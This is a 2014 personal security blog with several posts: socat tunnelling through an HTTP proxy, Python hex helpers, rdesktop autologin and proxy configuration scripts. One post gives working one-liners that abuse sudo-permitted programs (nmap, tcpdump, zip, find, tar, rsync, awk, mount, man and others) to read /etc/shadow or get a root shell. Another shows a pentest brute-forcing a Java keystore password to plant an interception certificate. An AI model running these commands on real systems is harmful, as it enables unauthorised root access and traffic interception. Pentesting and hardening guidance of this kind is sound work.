Thursday, June 26, 2014

How to use Socat to connect to an SSL service over a HTTP proxy

SOCAT is in my opinion one of the best networking / relaying tools out there. Within my corporate network, I need to go through a HTTP proxy to reach the outside. Today I needed to connect to a Freenode IRC channel, using of course the IRC client of choice, IRSSI. Unfortunately, whilst IRSSI supports HTTP proxies, it fails at establishing an SSL connection when using one.

At this point, there are two possible solutions:

  • Connect using a clear-text IRC session over the proxy (which was out of consideration in my case)
  • Relay the server's SSL port to localhost over the proxy (yay)

Socat turned out to be the most easy to setup and worked flawlessly. Here is the setup for this particular example:


All connections to the local port 6666 would then be tunneled through the proxy, and forwarded to the destination server. So if the endpoint service is SSL-enabled, connect to your local port over SSL and the session gets encrypted end to end.

Here is a small Bash script for that purpose.
#!/bin/bash
if [ -z $3 ]; then
 echo "usage: $0 <listenport> <desthost> <destport>"
 exit
fi

LOCALPORT=$1
PROXYHOST=10.0.0.1
PROXYPORT=3128
DESTHOST=$2
DESTPORT=$3

socat TCP4-LISTEN:$LOCALPORT,bind=127.0.0.1 PROXY:$PROXYHOST:$DESTHOST:$DESTPORT,proxyport=$PROXYPORT &

echo SOCAT listening on 127.0.0.1:$LOCALPORT, forwarding to $DESTHOST:$DESTPORT

Note: Should your proxy require authentication, the socat command must be changed to:

socat TCP4-LISTEN:$LOCALPORT,bind=127.0.0.1 PROXY:$PROXYHOST:$DESTHOST:$DESTPORT,proxyport=$PROXYPORT,proxyauth=$PROXYUSER:$PROXYPASS

Monday, May 19, 2014

Abusing sudo to get root

In some insecure Linux configurations, it is more or less easy to abuse sudo to get a root shell.

You can find out which commands your user is allowed to run as root by calling "sudo -l".

Here are some examples:

1. SUDO NMAP

user@host:~$ sudo nmap -iL /etc/shadow 2>&1 | grep root
Failed to resolve "root:$6$tacLae7v$blr1A8KS2WwHTLgttagiFMgGa94JEkKXVNXAm8a5Lg5vJrdowQTiycwML9M2ibBF6Vu4KZAHcOgOLuqrc6kdn0:16135:0:99999:7:::".
(nmap < 5.35DC1 also has a “—interactive” switch which drops you to a shell where you can execute commands by using the “!cmd” syntax)

2. SUDO FILE

user@host:~$ sudo file -m /etc/shadow
/etc/shadow, 1: Warning: offset `root:$6$5EZeAFXG$V.b3POklvJLNMt0cIEIQecW2Co6cKFUXmDR5bHVjWdsgTJq8URt6m7zBfNFNxdMEZHD7F4esGON.OED88HBPn1:16491:0:99999:7:::' invalid
[... snip ...]

3. SUDO TCPDUMP

user@host:~$ echo -e "cp /bin/sh /tmp/sh_suid\nchmod 7555 /tmp/sh_suid" > tmpfile
user@host:~$ chmod +x tmpfile
user@host:~$ sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z ./tmpfile -Z root
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
Maximum file limit reached: 1
user@host:~$ ls -l /tmp/sh_suid 
-r-sr-sr-t 1 root root 117176 May 19 10:14 /tmp/sh_suid
user@host:~$ /tmp/sh_suid
# whoami
root

4. SUDO ZIP

user@host:~$ touch somefile
user@host:~$ sudo zip -q /tmp/test.zip somefile -T -TT '/bin/sh #'
# id
uid=0(root) gid=0(root) groups=0(root)

5. SUDO FIND

user@host:~$ sudo find /dev/null -exec sh \;
# id
uid=0(root) gid=0(root) groups=0(root)

6. SUDO TAR

user@host:~$ touch somefile
user@host:~$ sudo tar cf /dev/null somefile --checkpoint=1 --checkpoint-action=exec=/bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)

7. SUDO RSYNC


user@host:/tmp$ cat > somefile << EOF
> cp /bin/sh /tmp/sh_root
> chmod a+sx /tmp/sh_root
> EOF
user@host:/tmp$ sudo rsync  -e 'sh /tmp/somefile' /dev/null 127.0.0.1:/dev/null 2>/dev/null
user@host:/tmp$ /tmp/sh_root
# whoami
root

8. SUDO AWK

user@host:~$ sudo awk 'BEGIN {system("/usr/bin/id")}'
uid=0(root) gid=0(root) groups=0(root)
9. SUDO MORE/SUDO LESS
user@host:~$ sudo more /dev/zero 
[...]
!bash
root@host:~# id
uid=0(root) gid=0(root) groups=0(root)
10. SUDO (S)FTP
user@host:~$ sudo ftp
ftp> !id
uid=0(root) gid=0(root) groups=0(root)
ftp> 

11. SUDO MOUNT
user@host:~$ sudo mount -o bind /bin/bash /bin/mount
user@host:~$ sudo mount
root@host:~# id
uid=0(root) gid=0(root) groups=0(root)

8. SUDO MAN
user@host:~$ sudo man -P id man
uid=0(root) gid=0(root) groups=0(root)

Thursday, April 10, 2014

Convert values to / from integer, hex string and raw data in Python 2.x / 3.x

I often use quick and dirty Python scripts to deal with binary protocols dissection, packet capture analysis, and to work with raw binary files.

If you are in the same situation, you may find this useful. Just keep the following library somewhere and use it whenever needed in your scripts.

No external libraries are required, and it works natively with Python 2 and 3.

Note however that it can be prone to unwanted behaviour. For example, if you call int2bytes() with an input integer between 2^16 and 2^24, it will return 3 bytes, while you probably want 4 (with a leading "\x00"). Just keep that in mind.

def bytes2int(str):
 return int(str.encode('hex'), 16)

def bytes2hex(str):
 return '0x'+str.encode('hex')

def int2bytes(i):
 h = int2hex(i)
 return hex2bytes(h)

def int2hex(i):
 return hex(i)

def hex2int(h):
 if len(h) > 1 and h[0:2] == '0x':
  h = h[2:]

 if len(h) % 2:
  h = "0" + h

 return int(h, 16)

def hex2bytes(h):
 if len(h) > 1 and h[0:2] == '0x':
  h = h[2:]

 if len(h) % 2:
  h = "0" + h

 return h.decode('hex')

Monday, April 7, 2014

Add Burp Root CA into a Java Trust Store

Recently during a pentest I stumbled upon a thick client in Java that came with a configuration file (*.properties) referring to a Java Trust store:

# The following property specifies where the TrustStore file
# containing the trusted CA certificates or trusted certificates 
# can be found.
javax.net.ssl.trustStore=cert/clientTrustStore.jks

An SSL trust store is basically a container that includes all the server certificates that are trusted by the client.
This client was making a SSL connection to an endpoint web service. To be able to put myself in the middle of the protocol, I had to add Burp's CA certificate into this trust store.

1. Brute force the truststore password.

Here, a good old bash loop calling keytool with a dictionary file did the trick:

$ for pwd in $(cat ~/pentest/dictionary/most_used_pwd.txt); do (keytool -list -keystore cert/clientTrustStore.jks -storepass $pwd 2>/dev/null) && echo FOUND PASSWORD $pwd; done
keytool error: java.io.IOException: Keystore was tampered with, or password was incorrect
keytool error: java.io.IOException: Keystore was tampered with, or password was incorrect
keytool error: java.io.IOException: Keystore was tampered with, or password was incorrect

Keystore type: JKS
Keystore provider: SUN

Your keystore contains 5 entries

(hidden), 06/06/2013, trustedCertEntry,
Certificate fingerprint (MD5): 8D:B8:(hidden):41:1B
(hidden), 25/02/2014, trustedCertEntry,
Certificate fingerprint (MD5): 15:37:(hidden):25:E9
(hidden), 02/04/2014, trustedCertEntry,
Certificate fingerprint (MD5): E4:61:(hidden):59:BE
(hidden), 06/06/2013, trustedCertEntry,
Certificate fingerprint (MD5): 32:DE:(hidden):BB:4D
(hidden), 25/02/2014, trustedCertEntry,
Certificate fingerprint (MD5): CB:17:(hidden):FA:1C
FOUND PASSWORD password


2. Add Burp's CA certificate to the trust store

Well, ok, here the password was "password". So I could list the contents of my client trust store. Now, adding burp's root CA is easy. Just create a listener within Burp, use that as a proxy, browse to any https website, display the certificate chain. Save the root CA certificate to a file.

Then, to add this root CA to your trust store:
keytool -import -keystore cert/clientTrustStore.jks -file PortSwiggerCA.cer -storepass password

3. Start playing

To confirm whether your certificate has correctly been added to the trust store, list its contents with the keytool "-list" command used in the bruteforce above:
$ keytool -list -keystore cert/clientTrustStore.jks -storepass password
Keystore type: JKS
Keystore provider: SUN

Your keystore contains 6 entries

(hidden), 06/06/2013, trustedCertEntry,
Certificate fingerprint (MD5): 8D:B8:(hidden):41:1B
(hidden), 25/02/2014, trustedCertEntry,
Certificate fingerprint (MD5): 15:37:(hidden):25:E9
(hidden), 02/04/2014, trustedCertEntry,
Certificate fingerprint (MD5): E4:61:(hidden):59:BE
(hidden), 06/06/2013, trustedCertEntry,
Certificate fingerprint (MD5): 32:DE:(hidden):BB:4D
(hidden), 25/02/2014, trustedCertEntry,
Certificate fingerprint (MD5): CB:17:(hidden):FA:1C
portswiggerca, 02/04/2014, trustedCertEntry,
Certificate fingerprint (MD5): E4:61:D7:52:FB:7A:28:61:71:0F:FF:09:9A:47:59:BE
Now you can proxy your client app through Burp and start playing with the protocol!

Thursday, March 13, 2014

Automatic rdesktop logon (Linux)

So when you want to test the connection to multiple Windows boxes from your Linux workstation, you have to go through this boring process every time:

- Bring up the rdesktop session
- Type in the user name
- Type in the password
- Hit OK

To automatise this, you can obviously go with:
rdesktop 10.1.1.10 -u Username -p Password

And this will work. But if you have to accept a legal notice prior to being able to type in your creds, you'll notice that the password on the command line won't work. Not easy to script. Also you would have noticed that copy/pasting in the password fields is disabled.

Here is how to automate this using xdotool. Add this function to the end of your ~/.bashrc:
function rdesktop_autologin()
{
 if [ $# != 3 ]; then
  echo "usage: $0 <hostname/ip> <username> <password>"
  return
 fi
 
 IP=$1
 USER=$2
 PASS=$3

 Xaxis=$(xdpyinfo | grep dimensions | awk '{print $2}' | cut -dx -f1)
 Yaxis=$(xdpyinfo | grep dimensions | awk '{print $2}' | cut -dx -f2)
 MaxRes=$Xaxis"x"$(($Yaxis-50))

 /usr/bin/rdesktop -T "$IP" "$IP" -g $MaxRes -u "$USER" -r disk:home=${HOME} -r disk:tmp=/tmp -r clipboard:PRIMARYCLIPBOARD -D -K &
 sleep 3

 WINDOWID=$(xwininfo  -root -tree | grep rdesktop | grep "$IP" | awk '{print $1}')

 if [ "$WINDOWID" == "" ]; then
  echo no window found
  exit
 fi

 echo attaching to $WINDOWID...
 xdotool windowactivate $WINDOWID
 xdotool windowfocus $WINDOWID
 sleep 1

 xdotool key "Return"
 xdotool key "Return"
 xdotool type "$PASS"
 xdotool key "Return"
}

And then just run:
source ~/.bashrc
rdesktop_autologin 10.1.1.10 Username Password
It makes my life so easier. That said, legal notices are here to be read. Heh.

Thursday, March 6, 2014

[Debian/Ubuntu/Gnome] Set the proxy settings system-wide (apt, bash, wget, ssh, git, svn)

If you often change network locations, work with different network settings, you may find it annoying to update your proxy settings every time in all configuration files (/etc/apt/apt.conf, ~/.ssh/config, maybe proxychains, environment variables and gnome settings).

I use the following script to update the settings in every location. I may add other files to the script when required.

Currently the script with update your proxy settings for:

  • Apt (if running as root)
  • Proxychains (if running as root)
  • Firefox
  • Chrome / Gnome / System proxy
  • SSH (for entries already containing "ProxyCommand")
  • Bash / Wget / any program using the $http_proxy environment variable
  • Git
  • SVN

Note: Some proxy tunnels are configured to use socat, so you probably need to install it before.

#!/bin/bash

if [ -z $2 ]; then
 echo "usage: $0 <proxy ip> <proxy port> [ <proxy user> <proxy pass> ]"
 exit
fi

if [ $EUID -eq 0 ]; then
 # Apt.conf
 echo "updating apt.conf..."
 if [ $# -eq 4 ]; then
  echo "Acquire::http::Proxy \"http://$3:$4@$1:$2/\";" > /etc/apt/apt.conf
 else
  echo "Acquire::http::Proxy \"http://$1:$2/\";" > /etc/apt/apt.conf
 fi
 chmod 600 /etc/apt/apt.conf

 # Proxychains
 if [ -e /etc/proxychains.conf ]; then
  echo "updating proxychains.conf..."
  echo strict_chain > /etc/proxychains.conf
  echo tcp_read_time_out 15000 >> /etc/proxychains.conf
  echo tcp_connect_time_out 8000 >> /etc/proxychains.conf
  echo \[ProxyList\] >> /etc/proxychains.conf
  if [ $# -eq 4 ]; then
   echo http $1 $2 $3 $4 >> /etc/proxychains.conf
  else
   echo http $1 $2 >> /etc/proxychains.conf
  fi
  chmod 600 /etc/proxychains.conf
 fi
else
 echo "Warning: Must run as root to update all config files (skipped: apt, proxychains)"
fi

# Firefox
PREFS_FILE="${HOME}/.mozilla/firefox/$(cat ${HOME}/.mozilla/firefox/profiles.ini | grep Path | sed 's/Path=//')/prefs.js"
if [ -e $PREFS_FILE ]; then
 echo "updating firefox config..."
 sed -i '/^user_pref("network.proxy./d' $PREFS_FILE
 echo "user_pref(\"network.proxy.ftp\", \"$1\");" >> $PREFS_FILE
 echo "user_pref(\"network.proxy.ftp_port\", $2);" >> $PREFS_FILE
 echo "user_pref(\"network.proxy.http\", \"$1\");" >> $PREFS_FILE
 echo "user_pref(\"network.proxy.http_port\", $2);" >> $PREFS_FILE
 echo "user_pref(\"network.proxy.share_proxy_settings\", true);" >> $PREFS_FILE
 echo "user_pref(\"network.proxy.socks\", \"$1\");" >> $PREFS_FILE
 echo "user_pref(\"network.proxy.socks_port\", $2);" >> $PREFS_FILE
 echo "user_pref(\"network.proxy.socks_remote_dns\", true);" >> $PREFS_FILE
 echo "user_pref(\"network.proxy.ssl\", \"$1\");" >> $PREFS_FILE
 echo "user_pref(\"network.proxy.ssl_port\", $2);" >> $PREFS_FILE
 echo "user_pref(\"network.proxy.type\", 1);" >> $PREFS_FILE
fi

# ssh
if [ -e ~/.ssh/config ]; then
 echo "updating ssh config..."
 if [ $# -eq 4 ]; then
  CFG="ProxyCommand socat - PROXY:$1:%h:%p,proxyport=$2,proxyauth=$3:$4"
 else
  CFG="ProxyCommand socat - PROXY:$1:%h:%p,proxyport=$2"
 fi
 sed -i -r "s/ProxyCommand socat (.*)/$CFG/g" ~/.ssh/config
 chmod 600 ~/.ssh/config
fi

# Bash / Wget
if [ -e ~/.bashrc ]; then
 echo "updating ~/.bashrc..."

 sed -i '/export http[s]*_proxy=/d' ~/.bashrc

 if [ $# -eq 4 ]; then
  echo "export http_proxy=http://$3:$4@$1:$2/" >> ~/.bashrc
 else
  echo "export http_proxy=http://$1:$2/" >> ~/.bashrc
 fi

 echo "export https_proxy=\$http_proxy" >> ~/.bashrc

 source ~/.bashrc
fi

# Gnome / system
echo "updating system proxy..."
if [ $# -eq 4 ]; then
 gsettings set org.gnome.system.proxy.http authentication-user "$3"
 gsettings set org.gnome.system.proxy.http authentication-password "$4"
else
 gsettings set org.gnome.system.proxy.http authentication-user ""
 gsettings set org.gnome.system.proxy.http authentication-password ""
fi
gsettings set org.gnome.system.proxy mode "manual"
gsettings set org.gnome.system.proxy.http host "$1"
gsettings set org.gnome.system.proxy.http port $2
gsettings set org.gnome.system.proxy.ftp host "$1"
gsettings set org.gnome.system.proxy.ftp port $2
gsettings set org.gnome.system.proxy.https host "$1"
gsettings set org.gnome.system.proxy.https port $2
gsettings set org.gnome.system.proxy ignore-hosts "['localhost', '127.0.0.0/8', '10.0.0.0/8', '192.168.0.0/16', '*.localdomain.com', '*.mycompany.com' ]"

# Git
if [ -e ~/.gitconfig ]; then
 echo "updating git..."
 if [ $# -eq 4 ]; then
  echo "exec socat STDIO PROXY:$1:\$1:\$2,proxyport=$2,proxyauth=$3:$4" > ~/.gitproxy
 else
  echo "exec socat STDIO PROXY:$1:\$1:\$2,proxyport=$2" > ~/.gitproxy
 fi
 git config --global core.gitproxy ~/.gitproxy
fi

# SVN
if [ -e ~/.subversion/servers ]; then
 echo "updating subversion..."
 if [ $# -eq 4 ]; then
  sed -i "s/^[# ]*\(http-proxy-username\).*/\1 = $3/" ~/.subversion/servers
  sed -i "s/^[# ]*\(http-proxy-password\).*/\1 = $4/" ~/.subversion/servers
 else
  sed -i 's/^\(http-proxy-username.*\)/# \1/' ~/.subversion/servers
  sed -i 's/^\(http-proxy-password.*\)/# \1/' ~/.subversion/servers
 fi
 sed -i "s/^[# ]*\(http-proxy-host\).*/\1 = $1/" ~/.subversion/servers
 sed -i "s/^[# ]*\(http-proxy-port\).*/\1 = $2/" ~/.subversion/servers
fi

Friday, February 28, 2014

Open different file types with the same command (Linux)

Sometimes on the command prompt I want to open files without worrying about which application to use for it. Just like with double clicks and file associations. Set this function in your ~/.bashrc and then just use "view <filename>" to render it in the correct application.
function view() {
 if [ $# == 0 ]; then
  echo "usage: $0 <file1> [ <file2> ... ]"
 fi

 OLD_IFS=$IFS
 IFS=""

 for ARG in "$@"; do

  if [ -f "$ARG" ]; then

   MIME=$(file -b --mime-type "$ARG")
   MIME_1=${MIME%/*}

   case "$MIME" in
    application/pdf)
     evince "$ARG" &
     continue;;

    application/zip | application/x-gzip | application/x-bzip2)
     file-roller "$ARG" &
     continue;;

    application/vnd.ms-excel)
     libreoffice --calc "$ARG" &
     continue;;

    application/msword)
     libreoffice --writer "$ARG" &
     continue;;
   esac

   case "$MIME_1" in
    archive)
     file-roller "$ARG" &
     continue;;

    image)
     eog "$ARG" &
     continue;;

    text)
     sublime_text "$ARG"
     continue;;
   esac
   echo "No handler known for type $MIME"
  fi

 done
 IFS=$OLD_IFS
}
And then re-source you Bash shell:
source ~/.bashrc
You're good to go. You might want to modify the file handlers / add some more to match your own setup.